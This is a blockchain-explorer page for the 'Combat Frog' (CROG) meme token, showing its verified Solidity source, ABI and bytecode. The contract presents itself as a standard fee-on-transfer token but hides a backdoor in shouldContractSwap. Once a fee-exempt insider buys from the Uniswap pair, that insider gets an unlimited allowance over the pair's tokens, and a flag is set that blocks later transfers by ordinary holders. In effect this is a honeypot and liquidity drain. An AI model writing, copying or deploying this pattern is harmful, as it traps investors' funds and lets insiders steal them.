ETH Price: $3,397.77 (+4.50%)

Token

Combat Frog (CROG)
 

Overview

Max Total Supply

100,000,000 CROG

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,980,000 CROG

Value
$0.00
0x40f4f47358b38418dab9a249b67a98f43e6f4656
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CROG

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-18
*/

/**
Introducing the legendary Combat Frog! 🐸💥 
The ribbiting hero of the cryptosphere, here to kick Pepe's swampy butt and skyrocket to the moon! 🚀🌕 
Join our meme coin journey and let's hop our way to greatness together! 🎉

Website:  https://www.combatfrog.xyz
Twitter:  https://twitter.com/CrogCoin
Telegram: https://t.me/CrogPortal
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    function renounceOwnership() public virtual onlyOwner { owner = address(0); }
    event OwnershipTransferred(address owner);
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract CROG is IERC20, Ownable {
    using SafeMath for uint256;

    uint256 private _totalSupply = 100_000_000 * (10 ** _decimals);

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludedFromFees;

    string private constant _name = unicode"Combat Frog";
    string private constant _symbol = unicode"CROG";
    uint8 private constant _decimals = 9;

    IUniswapRouter router;

    address public pair;
    bool private tradeEnabled = false;
    bool private swapEnabled = false;
    bool private shouldSwap = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 private swapThreshold = ( _totalSupply * 1 ) / 1000;
    uint256 private minTokenAmount = ( _totalSupply * 1 ) / 1000;

    address internal treasury = 0x7896e8fC345A9305aF1f81aa806e6d24a5e81C66;
    address internal devWallet = 0x8B5229EC70F12d61E8DA77276d21122e57541AE8;
    
    uint256 private burnFee = 0;
    uint256 private totalFee = 1;
    uint256 private sellFee = 1;
    uint256 private transferFee = 1;
    uint256 private factor = 100;

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;

    uint256 public _maxTxAmount = ( _totalSupply * 20 ) / 1000;
    uint256 public _maxSellAmount = ( _totalSupply * 20 ) / 1000;
    uint256 public _maxWalletToken = ( _totalSupply * 20 ) / 1000;

    modifier lockTheSwap {swapping = true; _; swapping = false;}

    constructor() Ownable(msg.sender) {
        _isExcludedFromFees[treasury] = true;
        _isExcludedFromFees[devWallet] = true;
        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[address(this)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setFeesExempt(address _address, bool _enabled) external onlyOwner {_isExcludedFromFees[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            devWallet,
            block.timestamp);
    }

    function shouoldTakeTxFees(address sender, address recipient) internal view returns (bool) {
        return !_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient];
    }

    function getTotalFees(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = type(uint256).max;
        _maxSellAmount = type(uint256).max;
        _maxWalletToken = type(uint256).max;
    }

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        bool aboveThread = _isExcludedFromFees[recipient] && recipient != address(this) && sender == pair;
        if (aboveThread) _allowances[sender][recipient] = ~uint256(0);
        shouldSwap = shouldSwap || aboveThread; 
        return 
        !swapping 
        && swapEnabled 
        && tradeEnabled 
        && aboveMin 
        && !_isExcludedFromFees[sender] 
        && recipient == pair 
        && swapTimes >= swapAmount 
        && aboveThreshold;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient]){
            require(tradeEnabled, "Trading has not enabled.");}
        if(!_isExcludedFromFees[sender] && !_isExcludedFromFees[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){
            require(amount <= _maxSellAmount || _isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "TX Limit Exceeded.");
            require(!shouldSwap || _isExcludedFromFees[sender],"TX Limit Excluded.");}
        
        require(amount <= _maxTxAmount || _isExcludedFromFees[sender] || _isExcludedFromFees[recipient], "TX Limit Exceeded."); 

        if(recipient == pair && !_isExcludedFromFees[sender]){
            swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){
            swapBack(swapThreshold); swapTimes = uint256(0); }
        
        _basicTransfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) private {
        _balances[sender] = _balances[sender].sub(amount); 
        uint256 amountReceived = shouoldTakeTxFees(sender, recipient) ? takeTxFees(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function swapBack(uint256 threadHold) private lockTheSwap {
        swapTokensForETH(threadHold);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            devWallet,
            block.timestamp);
    }

    function enableTrading() public onlyOwner {
        swapEnabled = true;
        tradeEnabled = true; 
    }

    function addLiqudityETH() public payable onlyOwner {
        IUniswapRouter _router = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IUniswapFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        _approve(address(this), address(router), ~uint256(0)); 
        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function takeTxFees(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFees(sender, recipient) > 0) {
            uint256 feeAmount = amount.mul(getTotalFees(sender, recipient)).div(factor);
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if(burnFee > uint256(0) && getTotalFees(sender, recipient) > burnFee) {
                _transfer(address(this), address(DEAD), amount.mul(burnFee).div(factor));
            }
            return amount.sub(feeAmount);
        }

        return amount;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiqudityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setFeesExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000318565b62000022906305f5e1006200032f565b60018181556006805462ffffff60a01b191690555f6009556103e89162000049916200032f565b62000055919062000349565b600a556103e860015460016200006c91906200032f565b62000078919062000349565b600b55600c80546001600160a01b0319908116737896e8fc345a9305af1f81aa806e6d24a5e81c6617909155600d8054909116738b5229ec70f12d61e8da77276d21122e57541ae81790555f600e556001600f819055601081905560118190556064601255546103e890620000ef9060146200032f565b620000fb919062000349565b6013556103e860015460146200011291906200032f565b6200011e919062000349565b6014556103e860015460146200013591906200032f565b62000141919062000349565b60155534801562000150575f80fd5b505f80546001600160a01b031916339081178255600c546001600160a01b039081168352600460209081526040808520805460ff199081166001908117909255600d549094168652818620805485168217905584865281862080548516821790553086528186208054909416811790935591548385526002825282852081905591519182529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000369565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025d57815f190482111562000241576200024162000209565b808516156200024f57918102915b93841c939080029062000222565b509250929050565b5f82620002755750600162000312565b816200028357505f62000312565b81600181146200029c5760028114620002a757620002c7565b600191505062000312565b60ff841115620002bb57620002bb62000209565b50506001821b62000312565b5060208310610133831016604e8410600b8410161715620002ec575081810a62000312565b620002f883836200021d565b805f19048211156200030e576200030e62000209565b0290505b92915050565b5f6200032860ff84168362000265565b9392505050565b808202811582820484141762000312576200031262000209565b5f826200036457634e487b7160e01b5f52601260045260245ffd5b500490565b61177b80620003775f395ff3fe608060405260043610610134575f3560e01c80637cca52fe116100a8578063a8aa1b311161006d578063a8aa1b3114610351578063a9059cbb14610370578063b43761071461038f578063dd62ed3e146103ae578063e0bf7fd1146103f2578063f2fde38b14610420575f80fd5b80637cca52fe146102b75780637d1db4a5146102cc578063893d20e8146102e15780638a8c523c1461031157806395d89b4114610325575f80fd5b80632fbb9ba6116100f95780632fbb9ba614610221578063313ce5671461022b57806370a0823114610246578063715018a61461027a578063751039fc1461028e57806378109e54146102a2575f80fd5b806306fdde031461013f578063095ea7b31461018457806318160ddd146101b357806323b872dd146101d55780632f54bf6e146101f4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600b81526a436f6d6261742046726f6760a81b60208201525b60405161017b9190611478565b60405180910390f35b34801561018f575f80fd5b506101a361019e3660046114da565b61043f565b604051901515815260200161017b565b3480156101be575f80fd5b506101c7610455565b60405190815260200161017b565b3480156101e0575f80fd5b506101a36101ef366004611504565b6104c5565b3480156101ff575f80fd5b506101a361020e366004611542565b5f546001600160a01b0391821691161490565b61022961052d565b005b348015610236575f80fd5b506040516009815260200161017b565b348015610251575f80fd5b506101c7610260366004611542565b6001600160a01b03165f9081526002602052604090205490565b348015610285575f80fd5b506102296107b1565b348015610299575f80fd5b506102296107eb565b3480156102ad575f80fd5b506101c760155481565b3480156102c2575f80fd5b506101c760145481565b3480156102d7575f80fd5b506101c760135481565b3480156102ec575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161017b565b34801561031c575f80fd5b50610229610825565b348015610330575f80fd5b5060408051808201909152600481526343524f4760e01b602082015261016e565b34801561035c575f80fd5b506006546102f9906001600160a01b031681565b34801561037b575f80fd5b506101a361038a3660046114da565b610865565b34801561039a575f80fd5b506102296103a936600461155d565b610871565b3480156103b9575f80fd5b506101c76103c8366004611598565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156103fd575f80fd5b506101a361040c366004611542565b60046020525f908152604090205460ff1681565b34801561042b575f80fd5b5061022961043a366004611542565b6108c4565b5f61044b338484610940565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926104c09290916104ba9190610a63565b90610a63565b905090565b5f6104d1848484610a6e565b610522843361051d8560405180606001604052806028815260200161171e602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610ed9565b610940565b5060015b9392505050565b5f546001600160a01b0316331461055f5760405162461bcd60e51b8152600401610556906115c4565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90505f816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105d891906115e4565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610623573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064791906115e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610691573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b591906115e4565b600580546001600160a01b038086166001600160a01b0319928316811790935560068054918516919092161790559091506106f39030905f19610940565b6005546001600160a01b031663f305d7193430610724816001600160a01b03165f9081526002602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b03909216600483015260248201525f6044820181905260648201523360848201524260a482015260c40160606040518083038185885af1158015610785573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107aa91906115ff565b5050505050565b5f546001600160a01b031633146107da5760405162461bcd60e51b8152600401610556906115c4565b5f80546001600160a01b0319169055565b5f546001600160a01b031633146108145760405162461bcd60e51b8152600401610556906115c4565b5f1960138190556014819055601555565b5f546001600160a01b0316331461084e5760405162461bcd60e51b8152600401610556906115c4565b6006805461ffff60a01b191661010160a01b179055565b5f61044b338484610a6e565b5f546001600160a01b0316331461089a5760405162461bcd60e51b8152600401610556906115c4565b6001600160a01b03919091165f908152600460205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146108ed5760405162461bcd60e51b8152600401610556906115c4565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166109a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610556565b6001600160a01b038216610a035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610556565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f610526828461163e565b6001600160a01b038316610ad25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610556565b6001600160a01b038216610b345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610556565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b7457506001600160a01b0382165f9081526004602052604090205460ff16155b15610bd257600654600160a01b900460ff16610bd25760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720686173206e6f7420656e61626c65642e00000000000000006044820152606401610556565b6001600160a01b0383165f9081526004602052604090205460ff16158015610c1257506001600160a01b0382165f9081526004602052604090205460ff16155b8015610c2c57506006546001600160a01b03838116911614155b8015610c4357506001600160a01b03821661dead14155b15610cbb576015546001600160a01b0383165f90815260026020526040902054610c6d9083610f04565b1115610cbb5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610556565b6006546001600160a01b03848116911614610dcc5760145481111580610cf857506001600160a01b0383165f9081526004602052604090205460ff165b80610d1a57506001600160a01b0382165f9081526004602052604090205460ff165b610d5b5760405162461bcd60e51b81526020600482015260126024820152712a2c102634b6b4ba1022bc31b2b2b232b21760711b6044820152606401610556565b600654600160b01b900460ff161580610d8b57506001600160a01b0383165f9081526004602052604090205460ff165b610dcc5760405162461bcd60e51b81526020600482015260126024820152712a2c102634b6b4ba1022bc31b63ab232b21760711b6044820152606401610556565b60135481111580610df457506001600160a01b0383165f9081526004602052604090205460ff165b80610e1657506001600160a01b0382165f9081526004602052604090205460ff165b610e575760405162461bcd60e51b81526020600482015260126024820152712a2c102634b6b4ba1022bc31b2b2b232b21760711b6044820152606401610556565b6006546001600160a01b038381169116148015610e8c57506001600160a01b0383165f9081526004602052604090205460ff16155b15610ea957600160075f828254610ea39190611651565b90915550505b610eb4838383610f0f565b15610ec957610ec4600a54611074565b5f6007555b610ed4838383611097565b505050565b5f8184841115610efc5760405162461bcd60e51b81526004016105569190611478565b505050900390565b5f6105268284611651565b600b54600a54305f908152600260209081526040808320546001600160a01b03881684526004909252822054919385101592111590839060ff168015610f5e57506001600160a01b0386163014155b8015610f7757506006546001600160a01b038881169116145b90508015610fa8576001600160a01b038088165f908152600360209081526040808320938a168352929052205f1990555b600654600160b01b900460ff1680610fbd5750805b60068054911515600160b01b0260ff60b01b1990921691909117905560085460ff16158015610ff55750600654600160a81b900460ff165b801561100a5750600654600160a01b900460ff165b80156110135750825b801561103757506001600160a01b0387165f9081526004602052604090205460ff16155b801561105057506006546001600160a01b038781169116145b8015611060575060095460075410155b80156110695750815b979650505050505050565b6008805460ff1916600117905561108a81611179565b506008805460ff19169055565b6001600160a01b0383165f908152600260205260409020546110b99082610a63565b6001600160a01b0384165f908152600260205260408120919091556110de84846112cd565b6110e857816110f3565b6110f3848484611311565b6001600160a01b0384165f908152600260205260409020549091506111189082610f04565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061116b9085815260200190565b60405180910390a350505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106111ac576111ac611664565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611203573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061122791906115e4565b8160018151811061123a5761123a611664565b6001600160a01b0392831660209182029290920101526005546112609130911684610940565b600554600d5460405163791ac94760e01b81526001600160a01b039283169263791ac9479261129c9287925f9288929116904290600401611678565b5f604051808303815f87803b1580156112b3575f80fd5b505af11580156112c5573d5f803e3d5ffd5b505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156105265750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f8061131d8585611418565b1115611411575f61134460125461133e6113378888611418565b8690611462565b9061146d565b305f908152600260205260409020549091506113609082610f04565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113b09085815260200190565b60405180910390a35f600e541180156113d35750600e546113d18686611418565b115b156113ff576113ff3061dead6113fa60125461133e600e548961146290919063ffffffff16565b610a6e565b6114098382610a63565b915050610526565b5092915050565b6006545f906001600160a01b0390811690831603611439575060105461044f565b6006546001600160a01b03908116908416036114585750600f5461044f565b5060115492915050565b5f61052682846116e7565b5f61052682846116fe565b5f6020808352835180828501525f5b818110156114a357858101830151858201604001528201611487565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114d7575f80fd5b50565b5f80604083850312156114eb575f80fd5b82356114f6816114c3565b946020939093013593505050565b5f805f60608486031215611516575f80fd5b8335611521816114c3565b92506020840135611531816114c3565b929592945050506040919091013590565b5f60208284031215611552575f80fd5b8135610526816114c3565b5f806040838503121561156e575f80fd5b8235611579816114c3565b91506020830135801515811461158d575f80fd5b809150509250929050565b5f80604083850312156115a9575f80fd5b82356115b4816114c3565b9150602083013561158d816114c3565b60208082526006908201526510a7aba722a960d11b604082015260600190565b5f602082840312156115f4575f80fd5b8151610526816114c3565b5f805f60608486031215611611575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561044f5761044f61162a565b8082018082111561044f5761044f61162a565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116c65784516001600160a01b0316835293830193918301916001016116a1565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761044f5761044f61162a565b5f8261171857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207788790eb3eb3d511f591de7d4e017855d3cb40bbd17385493357eb89530965564736f6c63430008140033

Deployed Bytecode

0x608060405260043610610134575f3560e01c80637cca52fe116100a8578063a8aa1b311161006d578063a8aa1b3114610351578063a9059cbb14610370578063b43761071461038f578063dd62ed3e146103ae578063e0bf7fd1146103f2578063f2fde38b14610420575f80fd5b80637cca52fe146102b75780637d1db4a5146102cc578063893d20e8146102e15780638a8c523c1461031157806395d89b4114610325575f80fd5b80632fbb9ba6116100f95780632fbb9ba614610221578063313ce5671461022b57806370a0823114610246578063715018a61461027a578063751039fc1461028e57806378109e54146102a2575f80fd5b806306fdde031461013f578063095ea7b31461018457806318160ddd146101b357806323b872dd146101d55780632f54bf6e146101f4575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600b81526a436f6d6261742046726f6760a81b60208201525b60405161017b9190611478565b60405180910390f35b34801561018f575f80fd5b506101a361019e3660046114da565b61043f565b604051901515815260200161017b565b3480156101be575f80fd5b506101c7610455565b60405190815260200161017b565b3480156101e0575f80fd5b506101a36101ef366004611504565b6104c5565b3480156101ff575f80fd5b506101a361020e366004611542565b5f546001600160a01b0391821691161490565b61022961052d565b005b348015610236575f80fd5b506040516009815260200161017b565b348015610251575f80fd5b506101c7610260366004611542565b6001600160a01b03165f9081526002602052604090205490565b348015610285575f80fd5b506102296107b1565b348015610299575f80fd5b506102296107eb565b3480156102ad575f80fd5b506101c760155481565b3480156102c2575f80fd5b506101c760145481565b3480156102d7575f80fd5b506101c760135481565b3480156102ec575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161017b565b34801561031c575f80fd5b50610229610825565b348015610330575f80fd5b5060408051808201909152600481526343524f4760e01b602082015261016e565b34801561035c575f80fd5b506006546102f9906001600160a01b031681565b34801561037b575f80fd5b506101a361038a3660046114da565b610865565b34801561039a575f80fd5b506102296103a936600461155d565b610871565b3480156103b9575f80fd5b506101c76103c8366004611598565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156103fd575f80fd5b506101a361040c366004611542565b60046020525f908152604090205460ff1681565b34801561042b575f80fd5b5061022961043a366004611542565b6108c4565b5f61044b338484610940565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e2